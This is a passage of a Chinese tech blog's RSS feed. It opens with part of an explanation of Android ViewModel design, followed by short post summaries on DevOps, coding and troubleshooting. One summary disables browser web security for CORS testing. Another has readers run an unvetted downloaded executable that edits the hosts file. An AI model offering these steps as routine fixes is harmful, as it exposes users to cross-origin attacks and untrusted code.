整理了需求之后，作者开始了头脑风暴，一起看看作者是如何思考的。&#xA;1、用于逻辑处理的类ViewModel。先搞个抽象父类，模板模式封装公共代码，逻辑交给子类。到时候用户继承我们的抽象类就好了。&#xA;2、保存这个功能要如何处理？我们希望在Activity或者Fragment中使用。并且到时候，一个Activity,可能有多个ViewModel。作者创建了一个新的类：ViewModelStore。专门用来保存一个界面的多个ViewModel。而VeiwModel负责处理业务逻辑，ViewModel的存储交给ViewModelStore.符合单一职责原则。&#xA;3、有了ViewModelStore保存我们的ViewModel了，那配置发生变化的时候，只需要存VeiwModelStore就好了。不是配置发生变化导致的界面销毁，就需要清空ViewModelStore中的ViewModel了。什么时候该保存，什么时候该清空，那就不是ViewModelStore这个类需要关心的事情了。因为ViewModelStore的责任只是用来保存ViewModel的。谁该关心呢？作者认为，谁持有，谁关心~作者创建了一个接口类ViewModelStoreOwner用来声明职责，给个方法，返回一个ViewModelStore，实现了这个接口，就会持有ViewModelStore了。那就由他去操心保存和清空ViewModelStore的功能吧。&#xA;可见，职责声明的场景，用接口来表示。&#xA;3.1、作者让ComponentActivity实现了接口，并在构造函数中监听生命周期回调。当生命周期走向onDestroy的时候，判断当前是不是因为配置变化导致的销毁Activity，不是的话，就清空ViewModelStore中的数据。&#xA;3.2、那具体怎么保存数据呢？当因为配置发生变化的时候，Acitvity的生命周期被安排走向尽头。在ActivityThread中，调用activity的retainNonConfigurationInstances。该方法返回一个NonConfigurationInstances对象（可以认为包装类），把对象用变量lastNonConfigutationInstances保存在ActivityCliendRecord中。在该方法中&#xA;NonConfigurationInstances retainNonConfigurationInstances() { //该方法是空实现，用于保存子类的对象 Object activity = onRetainNonConfigurationInstance(); //...忽略代码 NonConfigurationInstances nci = new NonConfigurationInstances(); nci.activity = activity; //...忽略代码 return nci; } 所以ComponentActivity实现onRetainNonConfigurationInstance并返回ViewModelStore对象即可。&#xA;不过，作者明白，只有一些刁民，喜欢瞎搞事情。&#xA;为了防止这些刁民，作者在ComponentAcitvity中把这个onRetainNonConfigurationInstance方法写了final，防止他们重写了方法，覆盖了我们的代码。这个方法就用来给我们保存数据的.&#xA;但是做人做事都不能赶尽杀绝啊，毕竟大部分的用户都是遵纪守法的好公民，这个方法只保存我们的ViewModelStore，也太局限了。于是，作者就创建了一个空函数，用户实现这个方法，返回他们想要正常保存的数据，到时候，连带帮用户的数据一起存起来不就好了。所以到时候补一个用户实现这个方法，配置发生变化的时候，顺带帮他们一起保存了。既然要存的有2种数据，一种是用户的，另一种是ViewModelStore。那就需要创建一个包装类了，把这俩包装起来。于是ComponentActivity中，就需要创建一个静态内部类了。&#xA;这种实现父类给的方法，但是不赶紧杀绝的做法很赞，在我们的项目中，也发现了类似的写法。此处省略一万字。。。。。&#xA;当Activity重新创建的时候，再来个方法返回我们之前保存的数据就好了~&#xA;在Activtiy的attach函数中，会把之前的配置传回来。&#xA;这样子类在就可以通过这个对象获取之前我们存储的ViewModelStore了。&#xA;如此一来，保存数据和获取数据的方案都有了~&#xA;到目前为止，我们已经有一个专门处理逻辑的类ViewModel,一个专门保存ViewModel的类ViewModelStore，以及利用接口ViewModelStoreOwner去声明相关职责了。保存清空的思路也都有了。&#xA;4、下面就需要考虑如何去创建了&#xA;用户是可以自由定义ViewModel的具体的类的，只需要继承我们的ViewModel就好了，并且ViewModel的构造函数中，可能有用户自己的参数。也可能没有参数或者是有一个Application的参数。这种情况下，作者想到了利用工厂模式，为每一个ViewModel提供一个工厂类，如果有构造函数有自定义的参数，那就自己搞个工厂类去创建，没有参数或这有一个Application参数的时候，由我们提供的工厂创建就好了。&#xA;工厂类接口很简单：&#xA;作者为没有参数的构造函数和参数只有一个Applicaiton的构造函数，创建一个默认的工厂类NewInstanceFactory和AndridViewModelFactory&#xA;使用反射直接获取具体的类对象。带有Application参数的工厂类也是一样的，只是多了一个参数而已。问题不大：AndroidViewModelFactory&#xA;5、创建的方法已经有了。下面就是思考如何获取拿到ViewModel实例对象了。为什么要这么考虑呢？利用工厂模式不是已经可以获取到实例对象了？&#xA;因为我们有存储机制，当配置变化的时候，不再是通过factory获取了，而是从ViewModelStore中获取。&#xA;先整理一下获取ViewModel需要的相关逻辑：&#xA;（1）获取到对应的工厂实例对象&#xA;（2）从viewModelStore中获取ViewModel，或者利用工厂去创建一个ViewModel。&#xA;（3）创建之后，同时需要保存ViewModel。&#xA;这三部就是创建的流程需要涉及的相关逻辑&#xA;对于用户而言，他不应该关心如何保存我们的ViewMdel，什么时候从ViewModelStore中获取，什么时候创建，这些都应该是用户无感知的。这遵循迪米特原则：最少知道原则，用户在调用ViewModel组件的时候，不应该知道这个类的内部细节，以及内部调用逻辑。比如说外观者模式，或者中介者模式就符合迪米特原则。外观者，封装了组件内部实现细节，并提供统一的接口或者函数给外部。也降低了使用成本。这种最常见的就是Glide。简单的一行内码，就可以整合了内部千军万马的组件调用逻辑。&#xA;作者创建了一个新的类：ViewModelProvider。对外提供一个get函数，利用传入的具体的class，使用对应的工厂创建ViewModel。内部逻辑怎么调用，与用户无关。&#xA;这个ViewModelProvider做了什么事情呢？&#xA;1、根据不同的情况，拿到对应的工厂类。&#xA;2、从缓存中获取ViewModel，拿不到的时候，利用工厂类创建ViewModel。&#xA;3、把ViewModel保存到ViewModelStore中。</description>
    </item>
    <item>
      <title>虚拟机连不上网络 -- 解决</title>
      <link>https://bchobby.github.io/posts/1ce43ab05c82c933fcc0363521aefadb/</link>
      <pubDate>Tue, 08 Nov 2022 11:53:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ce43ab05c82c933fcc0363521aefadb/</guid>
      <description>前言: 在window系统上安装虚拟机，发现虚拟机启动后连接网络失败！！！&#xA;原因一: 检查本地虚拟机服务是否正常启动; Win+R -&amp;gt; services.msc -&amp;gt; 搜索VM，检查一下选项服务是否都开启；&#xA;原因二: 检查虚拟机的网络适配器; 选择NAT模式！！！</description>
    </item>
    <item>
      <title>用新服务器从零开始部署 DolphinDB</title>
      <link>https://bchobby.github.io/posts/d2994a2d78caefa6b3a0726999dd56b2/</link>
      <pubDate>Tue, 08 Nov 2022 11:20:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2994a2d78caefa6b3a0726999dd56b2/</guid>
      <description>本文主要介绍在新服务器部署 DolphinDB 时需要注意哪些系统配置，以及如何选择 DolphinDB 部署方式以符合业务需求。合适的系统配置可以提高 DolphinDB 系统的稳定性和可维护性，而合适的部署方式可以提高业务执行的效率。&#xA;1. 操作系统配置 本文以 CentOS 7.9.2009 为例，介绍 DolphinDB 相关的系统配置方法。&#xA;1.1 平台要求与推荐 1.1.1 支持的平台 平台&#xA;处理器架构&#xA;是否支持&#xA;Linux&#xA;x86&#xA;是&#xA;arm&#xA;是&#xA;龙芯&#xA;是&#xA;Windows&#xA;x86&#xA;是&#xA;Mac&#xA;-&#xA;否&#xA;BSD&#xA;-&#xA;否&#xA;在 Linux 系统使用 DolphinDB 要求内核版本为 Linux 2.6.19 或以上，推荐使用 CentOS 7 稳定版。&#xA;1.1.2 依赖软件 DolphinDB 依赖 gcc 4.8.5 或以上版本。以在 CentOS 7 稳定版上安装为例：&#xA;# yum install -y gcc 1.1.3 推荐硬件配置 需要为 DolphinDB 元数据，redo log 以及数据实体配置不同的硬盘，以优化系统性能。</description>
    </item>
    <item>
      <title>如何解决 Hydro OJ 502 Bad Gateway 问题 | Hydro爆炸502解决方案</title>
      <link>https://bchobby.github.io/posts/e12d90af72ac4409346a7cf6084439b1/</link>
      <pubDate>Tue, 08 Nov 2022 09:15:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e12d90af72ac4409346a7cf6084439b1/</guid>
      <description> 目录 遇到问题尝试解决解决问题 遇到问题 有一天我心血来潮在自己的服务器上部署了一个 Hydro OJ （http://zqy.ac.cn:8888/），在捣鼓了一整天，基本成型的时候，他却在装了一个自动导入题目的插件之后玩废了。&#xA;尝试解决 什么？这么费力捣鼓出来的一个OJ，就这样享年一天？我自然是不甘心的。于是我尝试去解决它。删掉插件，没用。重启服务端程序，没用。重启服务器，还是没用。在网上也搜不到解决方案，因为没有遇到和我一样的问题的。&#xA;解决问题 既然没有现成的解决方案，于是我尝试去自己解决这个问题。经历了坎坎坷坷后，我终于能够访问OJ了，并且还恢复了部分数据。&#xA;我使用的解决方案如下：&#xA;出现问题之后依旧是可以在后台备份的，使用 hydrooj backup 对 HydroOJ 进行备份。重置HydroOJ，需要注意的是，重置之后所有的数据都将被删除，因此务必备份好之后再重置。&#xA;将此脚本下载到服务端执行，即可重置。还原数据。使用 hydrooj restore backup-xxx.zip 可以对数据进行还原，只能够还原一部分数据（讨论、题库、比赛、公告、用户等），系统设置无法还原，需要手动重新设置。重新启动HydroOJ，现在问题也许可以得到解决。 </description>
    </item>
    <item>
      <title>谷歌浏览器无法使用谷歌翻译解决办法</title>
      <link>https://bchobby.github.io/posts/638166420672f4c3f134eeed35f29521/</link>
      <pubDate>Mon, 07 Nov 2022 20:56:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/638166420672f4c3f134eeed35f29521/</guid>
      <description>喜欢用谷歌浏览器的小伙伴最近可能有个烦恼，在看一些英文网站的时候，谷歌翻译出现了问题，无法翻译，这可恼心了，咋办呢？&#xA;那是因为不久前谷歌关闭了中国地区的翻译引擎服务，据说其原因是在中国大陆使用率太低，在9月28日退出了中国市场，如果你使用梯子或者其他方法也无法成功复活Google翻译，以至于Google翻译影响正常你浏览网页。点击下方链接，进行下载解压运行，点击.exe文件运行即可，在运行的过程中会弹出DOS命令窗口，这个过程中等待一两分钟即可，最后会提示你输入Y进行确认。就可以将最佳的ip添加到host文件中。如果浏览器翻译失败，重新运行该程序即可。&#xA;未翻译前 使用翻译后，又可以进行愉快的使用 Window系统链接 链接：https://pan.baidu.com/s/1dVhNaZ4sEhC75sPB2P3fxA 提取码：6cb4。&#xA;Linux系统链接 链接：https://pan.baidu.com/s/1MUPGA-mRLHWk2p6hNrPIxw?pwd=r895 提取码：r895&#xA;Mac系统链接 链接：https://pan.baidu.com/s/1Eilhf7GVZyMXzcx63bL-MA?pwd=gc3o 提取码：gc3o&#xA;可以通过百度网盘或者搜索公众号聊天框回复：谷歌翻译 最后，如果各位小伙伴有什么不懂的话，可以扫描下方二维码咨询哦！！！&#xA;感谢各位的支持！！！</description>
    </item>
    <item>
      <title>软件测试项目实战案例分解，跟着我一步一步操作【人力资源管理系统】</title>
      <link>https://bchobby.github.io/posts/44dea13a59de07cd6d49d9fdf22cd0c0/</link>
      <pubDate>Mon, 07 Nov 2022 17:02:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44dea13a59de07cd6d49d9fdf22cd0c0/</guid>
      <description>目录&#xA;一、引言&#xA;二、项目概述&#xA;三、平台、角色和权限&#xA;四、人资管理员&#xA;五、最后&#xA;一、引言 1.编写目的&#xA;本文档将列举实现人力资源管理系统（以下简称HR系统）所需要的全部功能，并对每个功能给出简单的描述。&#xA;本文档的预期读者包括：最终用户，项目负责人，评审人员，产品人员，软件设计开发人员，测试人员。&#xA;2.背景&#xA;在全球一体化浪潮和新技术革命的不断推动下，人力资源在人类社会经济生活中处于越来越核心的地位；未来的经济竞争，不再是物质资源或物质资本，人力资源成为最根本的竞争优势。如何围绕企业宗旨、针对各类人员特点及企业的管理现状“设计出实用有效的人力资源管理系统，从而实现由人工管理向计算机管理的转型，使得人力资源管理工作变得更为客观有效，优化配置、提高办学效益”，成为企业人力资源管理系统设计面临的首要问题。&#xA;3.名词、缩略语&#xA;名词/缩略语&#xA;解 释&#xA;ID&#xA;唯一标识码&#xA;UI&#xA;软件的人机交互界面&#xA;二、项目概述 1.建设目标&#xA;本项目的目标是建立符合一般企业实际管理需求的人力资源管理系统，对企业的人力资源信息进行精确的维护，有效服务，从而减轻HR管理部门从事低层次信息处理和分析的负担，解放管理员的“双手大脑”，提高工作质量和效率。&#xA;2.技术要去&#xA;本项目软件系统平台将达到主流Web应用软件的水平：&#xA;（1）功能方面：系统满足业务逻辑各功能需求的要求。&#xA;（2）易用性方面：通过使用主流的浏览器/服务器架构，保证用户使用本系统的易用性良好。&#xA;（3）兼容性方面：通过系统设计以及兼容性框架设计，满足对主流浏览器兼容的要求。&#xA;（4）安全性方面：系统对敏感信息（例如用户密码）进行相关加密；&#xA;（5）UI界面方面：界面简洁明快，用户体验良好，提示友好，必要的变动操作有“确认”环节等。&#xA;三、平台、角色和权限 HR系统涉及Web端平台及手机APP（Android），Web端管理系统包含系统管理员、人资管理员、普通职员三个角色，APP包括人资管理员及普通职员角色。&#xA;1.web端&#xA;Web端分为系统管理员、人资管理员、普通职员三个角色；系统管理员主要对用户及用户角色进行管理，并维护一些通用的字典；人资管理员则主要维护组织机构、员工基本信息及员工劳动合同、薪酬、证书、培训进修、奖惩等信息；普通职员登录系统后，可修改个人基本信息，并查阅个人相关证书、培训进修、奖励等信息。&#xA;（1）系统管理员&#xA;（2）人资管理员&#xA;（3）普通人员&#xA;内置角色&#xA;一级模块&#xA;二级模块&#xA;功能项&#xA;系统管理员&#xA;系统用户管理&#xA;查询、角色配置、启用、禁用、重置密码&#xA;类别维护&#xA;岗位类别&#xA;创建类别、修改、上移、下移&#xA;政治面貌类别&#xA;创建类别、修改、上移、下移&#xA;学历层次类别&#xA;创建类别、修改、上移、下移&#xA;学制类别&#xA;创建类别、修改、上移、下移&#xA;合同终止原因类别&#xA;创建类别、修改、上移、下移&#xA;角色名称&#xA;一级模块&#xA;二级模块&#xA;三级模块&#xA;功能项&#xA;人资管理员&#xA;组织机构管理&#xA;添加部门、修改、删除、指定负责人、删除部门负责人、查看部门详情&#xA;岗位管理&#xA;岗位管理&#xA;添加岗位、修改、查询、下载岗位说明书&#xA;员工基本信息管理&#xA;员工信息管理&#xA;录入员工、编辑、离职、查看详情、修改工号、查询、导出</description>
    </item>
    <item>
      <title>微信授权登录 | 全过程讲解[官方文档-＞代码梳理-＞注意点] uniapp&#43;springboot(附Gitee源码)</title>
      <link>https://bchobby.github.io/posts/e797ac8e1466b94e1d023aff35ae40c4/</link>
      <pubDate>Mon, 07 Nov 2022 15:01:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e797ac8e1466b94e1d023aff35ae40c4/</guid>
      <description>目录&#xA;🚢微信登录官方文档流程梳理🚢&#xA;🛳️反推过程🛳️&#xA;⛴️1.获取用户信息⛴️&#xA;🛥️ 2.获取access_token 和 openid🛥️&#xA;🚤 3.获取code🚤&#xA;🚁视频源码分享🚁&#xA;🚢微信登录官方文档流程梳理🚢 核心目标: 通过用户微信认证 获取用户信息&#xA;🛳️反推过程🛳️ ⛴️1.获取用户信息⛴️ 获取用户个人信息（UnionID 机制）&#xA;官网链接&#xA;GET&#xA;https://api.weixin.qq.com/sns/userinfo?access_token=ACCESS_TOKEN&amp;amp;openid=OPENID&#xA;​ 返回结果:&#xA;微信获取信息变更&#xA;{ &#34;openid&#34;: &#34;OPENID&#34;, &#34;nickname&#34;: &#34;NICKNAME&#34;, &#34;sex&#34;: 1, &#34;province&#34;: &#34;PROVINCE&#34;, &#34;city&#34;: &#34;CITY&#34;, &#34;country&#34;: &#34;COUNTRY&#34;, &#34;headimgurl&#34;: &#34;https://thirdwx.qlogo.cn/mmopen/g3MonUZtNHkdmzicIlibx6iaFqAc56vxLSUfpb6n5WKSYVY0ChQKkiaJSgQ1dZuTOgvLLrhJbERQQ4eMsv84eavHiaiceqxibJxCfHe/0&#34;, &#34;privilege&#34;: [&#34;PRIVILEGE1&#34;, &#34;PRIVILEGE2&#34;], &#34;unionid&#34;: &#34; o6_bmasdasdsad6_2sgVt7hMZOPfL&#34; } 🛥️ 2.获取access_token 和 openid🛥️ 用户请求接口需要 参数access_token 和 openid&#xA;通过 code 获取 token&#xA;官网链接&#xA;GET&#xA;https://api.weixin.qq.com/sns/oauth2/access_token?appid=APPID&amp;amp;secret=SECRET&amp;amp;code=CODE&amp;amp;grant_type=authorization_code&#xA;​ 返回结果:&#xA;{ &#34;access_token&#34;: &#34;ACCESS_TOKEN&#34;, &#34;expires_in&#34;: 7200, &#34;</description>
    </item>
    <item>
      <title>Linux计划任务at和cron命令的使用</title>
      <link>https://bchobby.github.io/posts/cf2b74c6ba79763cf9b159e215778a81/</link>
      <pubDate>Mon, 07 Nov 2022 14:22:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf2b74c6ba79763cf9b159e215778a81/</guid>
      <description>文章目录 前言&#xA;什么是计划任务？&#xA;一次性调度执行at&#xA;简介&#xA;服务启动&#xA;语法&#xA;参数：&#xA;示例&#xA;提交at作业&#xA;提交步骤&#xA;时间选择格式&#xA;示例&#xA;查看任务&#xA;示例&#xA;查看任务执行日志&#xA;示例&#xA;删除任务&#xA;示例&#xA;循环调度执行crontab命令&#xA;简介&#xA;查看服务（是否启动）&#xA;创建计划&#xA;编辑器中的语法格式&#xA;示例&#xA;代码中涉及到的任务信息解读&#xA;查询计划&#xA;删除计划&#xA;总结&#xA;前言 前面学习了Linux中的软件管理，这篇文章将开始学习Linux中的计划任务，通过本篇文章将学习Linux中的一次性调度执行at命令和循环调度执行cron命令的介绍与使用，下面开始我们的Linux计划任务的学学习吧。&#xA;什么是计划任务？ 划任务是系统的常见功能，利用任务计划功能，可以将任何脚本、程序或文档安排在某个最方便的时间运行。任务计划在每次系统启动的时候启动并在后台运行。当我们需要在服务器上定时执行一些重复性的事件时使用的，可以通过计划任务程序来运行准备好的脚本、批处理文件夹、程序或命令，在某个特定的时间运行，目前最主要的用途是定期备份数据。。&#xA;一次性调度执行at 简介 有些场景我们只是需要执行一次，执行完就结束任务我们使用at命令来操作，任务的执行日志以邮件的形式反馈给电脑。&#xA;服务启动 默认情况下所有的linux系统都提供此项功能。在redhat中atd是默认随系统启动而启动。&#xA;[root@localhost ~]# ps -ef |grep atd root 1284 1 0 06:25 ? 00:00:00 /usr/sbin/atd -f root 12970 12205 0 10:51 pts/0 00:00:00 grep --color=auto atd 您在 /var/spool/mail/root 中有新邮件 [root@localhost ~]# systemctl status atd.</description>
    </item>
    <item>
      <title>制作 设置 谷歌Google 火狐Firefox 跨域 允许跨域设置的方法</title>
      <link>https://bchobby.github.io/posts/9b535aac27032b7b96bc1acd47eed8fa/</link>
      <pubDate>Mon, 07 Nov 2022 13:44:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b535aac27032b7b96bc1acd47eed8fa/</guid>
      <description> 谷歌-第一步 在D盘创建一个文件夹 ChromeDevSession （注：文件名字可以自定义） 谷歌-第二步 找到谷歌exe文件，创建谷歌快捷方式。如图： 谷歌-第三步 谷歌快捷方式修改一下名称，方便区分。如图： 谷歌-第四步 设置谷歌快捷方式属性。选中谷歌快捷方式，鼠标右键-选中属性。如图： 谷歌-第五步 在 ‘目标(T):’ 后尾添加 --args --disable-web-security --user-data-dir=“D:/ChromeDevSession” 点击应用 点击确定 (注：不要去修改谷歌的路径；这里的&#34;D:/ChromeDevSession&#34; 是我们第一步创建的文件夹，名称要一致) 例如：C:\Users\Administrator\AppData\Local\Google\Chrome\Application\chrome.exe --args --disable-web-security --user-data-dir=“D:/ChromeDevSession” 谷歌-第六步 打开跨域谷歌浏览器，提示 --disable-web-security 说明你设置成功了。 火狐-第一步 在地址栏输入 about:config 会出现如下图的页面 点击 ‘我了解此风险！’ 点击 ‘我了解此风险！’后呀，就会出现下面的页面 在搜索框里输入 ‘security.fileuri.strict_origin_policy’ 就把 ‘security.fileuri.strict_origin_policy’ true 改成 false 重启浏览器，可以跨域访问 有的时候 不好使没有生效，需要在安装一个插件 （CORS Everywhere） 插件传送门&#xA;安装成功后 会在地址栏区域出现一个cores 的小图标 绿色表示打开 红色表示关闭 </description>
    </item>
    <item>
      <title>Cookie的使用（基于js-cookie插件）</title>
      <link>https://bchobby.github.io/posts/138a85e68d69b34fdcd3044b962098c2/</link>
      <pubDate>Mon, 07 Nov 2022 09:23:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/138a85e68d69b34fdcd3044b962098c2/</guid>
      <description>简介： Cookie 是一段不超过4KB的小型文本数据，由一个名称（Name）、一个值（Value）和其它几个用于控制 Cookie 有效期、安全性、使用范围的可选属性组成，储存在用户本地终端上。&#xA;js-cookie 是一个简单的，轻量级的 处理cookies的 js API。&#xA;一、安装和引入 1、安装&#xA;npm install js-cookie --save 2、引入&#xA;import Cookies from &#39;js-cookie&#39; 二、使用 1、存储 cookie 值&#xA;Cookies.set(&#39;name&#39;, &#39;value&#39;, { expires: 7, path: &#39;/&#39;, domain: &#39;&#39;, secure: false }) name： cookie 的变量名。&#xA;value： cookie 变量的值。&#xA;expires： 设置 cookie 变量保存的时间，单位是天。&#xA;path： cookie 的有效范围，默认为“/”。path 是在参数 domain 基础上的有效范围。&#xA;示例：path 设置为 ”/”，在整个 domain 都有效；path 设置为 ”/test”，则只在 domain 下的 /test 目录及子目录才有效。&#xA;domain： cookie有效的域名。&#xA;示例：domain 设置为 googlephp.cn，那么在 googlephp.</description>
    </item>
    <item>
      <title>大整数运算（高精度运算）C/C&#43;&#43;</title>
      <link>https://bchobby.github.io/posts/0d056f82cf0d1cfb16dc900bd74f1aff/</link>
      <pubDate>Sun, 06 Nov 2022 23:56:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d056f82cf0d1cfb16dc900bd74f1aff/</guid>
      <description>前言 这种类型，在做题过程中多为观察所给数据可能造成的大小来选择是否使用。&#xA;属于模板类型，学习者理解其格式并记住大致框架即可熟练应用。&#xA;一、什么是大整数（高精度）&#xA;想知道什么是大整数，不如换一个解释的方法：什么时候需要用到大整数？&#xA;众所周知，int类型的范围是-2147483648~2147483647。long long类型的范围是 -2^63 ~ (2^63)-1。那当题目需要用到或需要输出比long long类型的范围还要大的数字时，我们是不是就不能用常规办法去接收这些数字了。这个时候使用大整数就可以解决上述问题。即解决接收超出long long范围数字的问题。&#xA;二、大整数的存储&#xA;原理很简单，使用数组。&#xA;例如定义Int类型数组d[1000]，那么这个数组中的每一位就代表存放整数的每一位。比如将数字123456存储，则有d[0] = 6,d[1] = 5,d[2] = 4,d[3] = 3,d[4] = 2,d[5] = 1。整数的高位存在数组的高位，整数的低位存储在数组的低位。（为了契合加减乘除的思维）&#xA;这时候会产生一个需要注意的问题：把整数通过%s或者itoa的方式变成字符串的时候，一开始是逆位存储的，即d[0] = 1...，因此读入的之后需要在另存为至d[i]数组的时候反转一下。&#xA;为了方便随时获取大整数的长度，一般定义len来记录长度，并与d数组组合成结构体。&#xA;struct bign{ int d[1000]; int len; }; bign是big number的缩写。&#xA;一般输入大整数时，都是先用字符串读入，然后再把字符串另存为至bign结构体。由于使用char数组进行读入时，整数高位会变成数组地位，整数的地位会变成数组的高位。因此为了让整数在bign中是顺位存储，需要让字符串倒着赋值给d[]数组。&#xA;bign change(char str[])//将整数转换为bign { bign a; a.len = strlen(str);//bign的长度就是字符串的长度 for(int i = 0; i &amp;lt; a.len; i++) { a.d[i] = str[a.len-i-1] - &#39;0&#39;; } return a; } 如果要比较两个bign变量的大小，也很简单：先判断len大小，若不相等，长的为大，若相等，则从高位至低位逐个比较，直到某一位不等，则可以判断两者大小。</description>
    </item>
    <item>
      <title>Tensorflow.keras搭建模型报错：</title>
      <link>https://bchobby.github.io/posts/6bae9266769f4da31d9c448400c1874c/</link>
      <pubDate>Sun, 06 Nov 2022 19:59:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6bae9266769f4da31d9c448400c1874c/</guid>
      <description>卷积和池化不能随便用？要计算维度 维度要对应 用tensorflow.keras的sequential方法随便搭建了一个网络 加入这一行的时候报错&#xA;ValueError: Negative dimension size caused by subtracting 3 from 1 for &#39;{{node conv2d_1/Conv2D}} = Conv2D[T=DT_FLOAT, data_format=&#34;NHWC&#34;, dilations=[1, 1, 1, 1], explicit_paddings=[], padding=&#34;VALID&#34;, strides=[1, 1, 1, 1], use_cudnn_on_gpu=true](conv2d/Identity, conv2d_1/Conv2D/ReadVariableOp)&#39; with input shapes: [?,1,222,64], [3,3,64,128].&#xA;似乎是维度无法对应 也有人说是keras后端对图片的通道顺序和tensorflow不一样 改过之后还是不对&#xA;个人认为是池化尺寸（2，2）这里写的不太对 要按照标准写法&#xA;参考：&#xA;或者是Conv2D的kernel_size写的不对？&#xA;经验证 应该是Conv2D的kernel_size 改成kernel_size=3 就好了&#xA;用函数时一定要查一下标准的用法才行！！！不要自己瞎写&#xA;很奇怪的一点是 改过kernel_size跑通一次之后再改回原来的代码&#xA;就不报错了？不知道这里发生了什么 是涉及到后端的一些操作了吗？&#xA;查了一下官方文档&#xA;Conv2D layer 官方文档&#xA;来自 &amp;lt;Conv2D layer&amp;gt;&#xA;kernel_size: 一个整数或 2 个整数的元组/列表，指定 2D 卷积窗口的高度和宽度。可以是单个整数，为所有空间维度指定相同的值。&#xA;看来3或者（3，3）都可以~&#xA;还是不太明白中间发生了什么</description>
    </item>
    <item>
      <title>Java控制台实现循环计算加减乘除</title>
      <link>https://bchobby.github.io/posts/c6f33b1c0797245e2601da43b6eabdc3/</link>
      <pubDate>Sun, 06 Nov 2022 18:12:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6f33b1c0797245e2601da43b6eabdc3/</guid>
      <description>Java控制台实现循环计算加减乘除 前言 对于刚刚学习Java的同学，在Java中控制台实现循环计算简单的加减乘除还是比较简单的，主要在于循环设计的思路，实现方法有很多，别人的不一定是最简单最好的，小伙伴一定要注重自己的思维逻辑，下面说一个案例思路，欢迎小伙伴留言一起学习。&#xA;主要思路 控制台实现循环计算加减乘除，要从控制台获取输入数据（需要使用Scanner对象创建一个扫描器对象，用于接受键盘数据）,如何循环获取键盘接受数据（通过while循环保证程序不满足设定条件是，可以一直循键盘输入值），或者如何循环的选择计算的加减乘除（选择加减乘除的功能，if，for,while,switch改用那个？相信小伙伴们已经有答案了switch循环解决），总体思路有了，程序就解决一半了。&#xA;Scanner对象 之前我们学的基本语法中我们并没有实现程序和人的交互，但是Java给我们提供了这样一个工具类，我们可以获取用户的输入。java.util.Scanner是Java5的新特征，我们可以通过Scanner类来获取用户的输入。&#xA;基本语法:&#xA;scanner s = new Scanner(System.in); 通过Scanner类的next()与nextLine()方法获取输入的字符串，在读取前我们一般需要使用hasNext()与hasNextLine()判断是否还有输入的数据。&#xA;注意事项：next()与nextLine()方法获取输入的字符串有所不同，这里就不说了，小伙伴们可以实战一下就明白。&#xA;while循环和switch循环 while循环基本语法:&#xA;//循环的条件，默认是true执行 while(循环的条件){ ... 循环体 ... } switch循环基本语法：&#xA;switch(expression){ case value ://语句 break;//可选 case value : //语句 break;//可选 //你可以有任意数量的case语句default : //可选 //语句 } 实战 完整代码：&#xA;package com.sqgxy.method;//这是包名可以省略删除 import java.util.Scanner; public class Demo06 { public static void main(String[] args) { String str=&#34;y&#34;; while (str.equals(&#34;y&#34;)) { Scanner scanner=new Scanner(System.in); System.out.println(&#34;请输入你要选择的功能：加法(0)、减法(1)、乘法(2)、除法(3)&#34;); if (scanner.hasNextInt()) { int x = scanner.</description>
    </item>
    <item>
      <title>Kubectl</title>
      <link>https://bchobby.github.io/posts/6f49e891fdb1bb11823492f4d315b2fd/</link>
      <pubDate>Sun, 06 Nov 2022 11:25:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f49e891fdb1bb11823492f4d315b2fd/</guid>
      <description>目录&#xA;一、资源管理&#xA;1.kubernetes集群管理&#xA;2.kubectl&#xA;3.kubectl 的命令&#xA;(1)查看版本信息&#xA;(2)查看资源对象简写信息&#xA;(3)查看集群信息&#xA;(4)配置kubectl自动补全&#xA;(5)node节点查看日志&#xA;(6)K8s核心组件日志&#xA;二、基本信息查看&#xA;1.查看master节点状态&#xA;2.查看命令空间&#xA;3.查看default命名空间的所有资源&#xA;4.创建命名空间app&#xA;5.删除命名空间app&#xA;6.描述某个资源的详细信息&#xA;7.查看命名空间kube-public 中的pod 信息&#xA;8.扩缩容&#xA;9.删除副本控制器&#xA;10.定义自动扩容、缩容规则&#xA;三、项目的生命周期&#xA;1.创建kubectl create命令&#xA;2.发布kubectl expose命令&#xA;3.查看pod网络状态详细信息和service暴露的端口&#xA;4.查看关联后端的节点&#xA;5.查看service的描述信息&#xA;6.在节点上操作，查看负载均衡端口&#xA;(1)node01&#xA;(2)node02 (3)查看访问日志&#xA;四、更新kubectl set&#xA;1.更改现有应用资源一些信息&#xA;2.获取修改模板&#xA;3.查看当前nginx 的版本号&#xA;4.将nginx版本更新为1.21版本&#xA;5.更新好后的Pod的ip会改变&#xA;6.再看nqinx的版本号&#xA;五、回滚kubectl rollout&#xA;1.对资源进行回滚管理&#xA;2.查看历史版本&#xA;3.执行回滚到上一个版本&#xA;4.执行回滚到指定版本&#xA;5.检查回滚状态&#xA;六、删除kubectl delete&#xA;1.删除副本控制器&#xA;2.删除service&#xA;3.金丝雀发布(Canary Release)&#xA;(1)更新deployment的版本，并配置暂停deployment&#xA;(2)监控更新的过程&#xA;(3)确保更新的pod没问题了， 继续更新&#xA;(4)查看最后的更新情况&#xA;七、声明式管理方法&#xA;1.查看资源配置清单&#xA;2.解释资源配置清单&#xA;3.修改资源配置清单并应用&#xA;4.删除资源配置清单</description>
    </item>
    <item>
      <title>vs code无法输入代码</title>
      <link>https://bchobby.github.io/posts/2a9231596b1e4bf0c85a80b3f16cc325/</link>
      <pubDate>Sun, 06 Nov 2022 10:51:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a9231596b1e4bf0c85a80b3f16cc325/</guid>
      <description>当vs code无法输入代码时，按control+space键即可解决，Mac即按control+空格键就行</description>
    </item>
    <item>
      <title>Mybatis-Plus 代码生成器，自定义模板Demo,快速搭建！！</title>
